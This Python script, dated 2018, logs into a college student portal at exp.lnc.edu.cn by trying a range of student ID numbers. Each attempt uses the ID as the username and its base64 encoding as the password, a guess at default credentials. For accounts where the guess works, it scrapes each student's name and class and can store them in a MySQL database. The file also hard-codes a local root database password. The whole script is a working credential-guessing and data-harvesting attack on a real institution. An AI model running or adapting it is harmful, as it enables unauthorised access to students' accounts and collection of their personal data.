# -*- coding: utf-8 -*-
# ----------------------------------------------------
# @Time    : 2018/5/19 下午3:34
# @Author  : Hugo Yuan（袁镇轩）
# @Email   : 429632952@163.com
# @File    : pacong.py
# ----------------------------------------------------
import requests
import base64
from bs4 import BeautifulSoup
from lxml import etree
import pymysql

tureTitle = '''<title>广东岭南职业技术学院 个人中心</title>'''

conn = None
cursor = None


def getData(num):
    session = requests.session()
    session.get("http://exp.lnc.edu.cn/suite/login.do;jsessionid=0B62D9EDF15EB06E93B84B944E4FAA3E")
    d = base64.b64encode(bytes(str(num), encoding="utf8"))
    data = {
        "loginButton": "login",
        "portalId": "",
        "siteKey": "",
        "loginName": str(num),
        "password": d
    }
    res = session.post("http://exp.lnc.edu.cn/suite/login.do;jsessionid=0B62D9EDF15EB06E93B84B944E4FAA3E", data=data)
    # print(res.text)
    soup = BeautifulSoup(res.text, "lxml")
    if str(soup.title).strip() == tureTitle.strip():
        # print(temp.text)
        temp = session.get("http://exp.lnc.edu.cn/suite/person/personView.do?feature=resume&action=myArchives&menuKey"
                           "=Dove0405&cleanSession=true&teamKey=P115")
        # print(temp.text)
        # 将源码转化为能被XPath匹配的格式
        temp = etree.HTML(temp.text)

        # 获取姓名
        name_data = temp.xpath('''//*[@id="archivesDIV"]/table/tr[1]/td[1]/text()''')
        name = str(name_data[0]).strip()
        # print(name)
        # 获取班级
        banji_data = temp.xpath('//*[@id="archivesDIV"]/table/tr[3]/td[2]/text()')
        banji = str(banji_data[0]).strip()
        # name = str(name_data[0])
        return [int(num), name, banji]
    else:
        return 1


def initDatabase():
    global conn
    global cursor
    try:
        # 连接数据库
        conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='a123456', db='stu_data',
                               charset='utf8')
        # 新建游标
        cursor = conn.cursor()
        cursor.execute("use stu_data")
    except:
        print("数据库连接失败！")
        return 1
    else:
        print("数据库连接成功！")
        return 0


def closeDataBase():
    conn.commit()
    cursor.close()
    conn.close()


def database(xuehao, name, banji):
    # 数据库表名称为stu
    cursor.execute('insert into stu(num, name, class) values(%s,%s,%s)', (xuehao, name, banji))


if __name__ == "__main__":
    # 如果需要将数据加入数据库，请将下面注释掉的代码取消注释，并修改initDatabase中的数据库连接信息
    # 默认代码中，使用的数据库名称是stu_data，表名称是stu，使用utf-8编码
    # if initDatabase() == 0:
        for i in range(16601120401, 16601120455):
            data = getData(i)
            if data != 1:
                print(data)
                # database(data[0], data[1], data[2])
            else:
                print(str(i) + "验证错误")
                pass
        # closeDataBase()
    # else:
    #     pass
